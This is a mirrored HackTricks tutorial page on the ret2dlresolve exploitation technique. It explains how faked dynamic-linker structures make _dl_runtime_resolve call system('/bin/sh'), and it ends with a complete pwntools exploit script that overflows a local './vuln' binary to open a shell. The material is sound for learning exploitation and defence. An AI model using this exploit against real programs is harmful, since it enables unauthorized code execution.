mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 08:01:00 +00:00
90 lines
5.3 KiB
Markdown
90 lines
5.3 KiB
Markdown
# Ret2dlresolve
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Basic Information
|
|
|
|
As explained in the page about [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) and [**Relro**](../common-binary-protections-and-bypasses/relro.md), binaries without Full Relro will resolve symbols (like addresses to external libraries) the first time they are used. This resolution occurs calling the function **`_dl_runtime_resolve`**.
|
|
|
|
The **`_dl_runtime_resolve`** function takes from the stack references to some structures it needs in order to resolve the specified symbol.
|
|
|
|
Therefore, it's possible to **fake all these structures** to make the dynamic linked resolving the requested symbol (like **`system`** function) and call it with a configured parameter (e.g. **`system('/bin/sh')`**).
|
|
|
|
Usually, all these structures are faked by making an **initial ROP chain that calls `read`** over a writable memory, then the **structures** and the string **`'/bin/sh'`** are passed so they are stored by read in a known location, and then the ROP chain continues by calling **`_dl_runtime_resolve`** with the address to `$'/bin/sh'`.
|
|
|
|
{% hint style="success" %}
|
|
This technique is useful specially if there aren't syscall gadgets (to use techniques such as [**ret2syscall**](rop-syscall-execv.md) or [SROP](srop-sigreturn-oriented-programming.md)) and there are't ways to leak libc addresses.
|
|
{% endhint %}
|
|
|
|
You can find a better explanation about this technique in the second half of the video:
|
|
|
|
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
|
|
|
## Structures
|
|
|
|
It's necessary to fake 3 structures: **`JMPREL`**, **`STRTAB`** and **`SYMTAB`**. You have a better explanation about how these are built in [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures)
|
|
|
|
## Attack Summary
|
|
|
|
1. Write fake estructures in some place
|
|
2. Set the first argument of system (`$rdi = &'/bin/sh'`)
|
|
3. Set on the stack the addresses to the structures to call **`_dl_runtime_resolve`**
|
|
4. **Call** `_dl_runtime_resolve`
|
|
5. **`system`** will be resolved and called with `'/bin/sh'` as argument
|
|
|
|
## Example
|
|
|
|
You can find an [**example of this technique here**](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve/exploitation) **containing a very good explanation of the final ROP chain**, but here is the final exploit used:
|
|
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln', checksec=False)
|
|
p = elf.process()
|
|
rop = ROP(elf)
|
|
|
|
# create the dlresolve object
|
|
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
|
|
|
|
rop.raw('A' * 76)
|
|
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
|
|
rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
|
|
|
|
log.info(rop.dump())
|
|
|
|
p.sendline(rop.chain())
|
|
p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
|
|
|
|
p.interactive()
|
|
```
|
|
|
|
## References
|
|
|
|
* [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|